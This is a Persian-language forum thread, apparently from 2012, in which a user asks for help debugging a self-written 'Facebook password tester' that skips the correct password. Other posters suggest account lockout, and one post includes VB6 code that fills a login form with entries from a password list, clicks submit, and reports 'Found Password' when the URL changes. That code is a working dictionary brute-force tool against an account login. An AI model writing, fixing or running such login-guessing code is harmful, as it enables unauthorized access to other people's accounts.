سلام دوستان من یك تستر پسورد فیس بوک نوشتم ولی یك مشكل كوچولی داره اونم اینه من پسورد لیست دادم به برنامه اینجوری
7894
585
69854
26493
976413
123123
پسورد اینه اخر یه ولی اگه 123123 تو وسط پسورد لیست باشه برنامه اونو رد میكنه
123123
(۱۱-مهر-۱۳۹۱, ۱۸:۵۵:۴۳)rook نوشته است: [ -> ]سلام دوستان من یك تستر پسورد فیس بوک نوشتم ولی یك مشكل كوچولی داره اونم اینه من پسورد لیست دادم به برنامه اینجوری
7894
585
69854
26493
976413
123123
پسورد اینه اخر یه ولی اگه 123123 تو وسط پسورد لیست باشه برنامه اونو رد میكنه
123123
یکم بیشتر توضیح بدین بدین لطفا!یعنی چی رد میکنه؟چجوری داره کار میکنه شما؟
ببین دوست عزیز این برنامه كه من نوشتم میاد پسورد از پسورد لیست تیست میكنه به فیس بوك ولی اگه پسورد این جوری باشه
123456
123123
123456789 اگه پسورد 123123 درست باشه اونو رد میكنه میره به 123456789
شما پسورد هارا از چه نوعی گرفتی و داری تست میکنی؟من حس میکنم از نوع عددی هست برای همین تعداد ارقام زیاد میشه نمیتونه تست بگیره!میشه بگید رو چ حساب داری برسی میکنی که پسورد درست هست یااشتباه؟شاید بهتر بشه کمک کرد!
من رو فیس بوك خودم تست كردم پسورد خودم دادام به برنامه
(۱۱-مهر-۱۳۹۱, ۱۹:۳۳:۰۶)rook نوشته است: [ -> ]من رو فیس بوك خودم تست كردم پسورد خودم دادام به برنامه
عزیزم شما پسورد را از چ نوعی گرفتی؟بر چ اساسی برسی میشه که درسته یا نه؟
ببین دوست عزیز من نمی دونم منظورت چیه
پسورد را از چ نوعی گرفتی؟بر چ اساسی برسی میشه که درسته یا نه
من موندم چرا پسورد درست رو رد میكنه
(۱۱-مهر-۱۳۹۱, ۲۰:۰۲:۵۹)rook نوشته است: [ -> ]ببین دوست عزیز من نمی دونم منظورت چیه
پسورد را از چ نوعی گرفتی؟بر چ اساسی برسی میشه که درسته یا نه
من موندم چرا پسورد درست رو رد میكنه
برنامه که شما چطور قرار متوجه بشه پسورد درست بوده؟با تغییر url متوجه میشید یا تغییر title متوجه میشید؟
اگر ممکنه کد را بزارید تا بهتر بشه برسی کرد مشکل چی هست!
خب برنامه نویسیتون مشکل داره !
باید کد رو بزارید تا بعد از بررسی رفع مشکل بشه
احتمال دوم هم اینطور میشه که چون قبلش کلی پسورد رو تست کردید؛ فیسبوک قفل میکنه و رمز درست هم میگه اشتباهه
کد:
Private Sub SendData()
On Error Resume Next
Do While Web.ReadyState <> "4"
DoEvents
Loop
mIndex = mIndex + 1
If mIndex > lstPass.ListCount - 1 Then
MsgBox "pass not found"
Exit Sub
End If
Web.Document.Forms(0).elements("mod-login-username").Value = txtID
Web.Document.Forms(0).elements("mod-login-password").Value = lstPass.List(mIndex)
Web.Document.Forms(0).elements("submit").Click
If fUrl = Web.LocationURL Then
Pause 2
SendData
Else
MsgBox "Found Password : " & lstPass.List(mIndex)
End If
End Sub
Private Sub Pause(Sec As Long)
Dim A
A = Timer
Do Until Timer - A >= Sec
DoEvents
Loop
End Sub
(۱۱-مهر-۱۳۹۱, ۲۰:۱۱:۲۸)babyy نوشته است: [ -> ]خب برنامه نویسیتون مشکل داره !
باید کد رو بزارید تا بعد از بررسی رفع مشکل بشه
احتمال دوم هم اینطور میشه که چون قبلش کلی پسورد رو تست کردید؛ فیسبوک قفل میکنه و رمز درست هم میگه اشتباهه
منم موافقم شاید فیس بوک قفل میکنه و اجازه ورد نمیده!
ولی باید حداقل روش بررسی را بگند ایشون تا بشه کمک کرد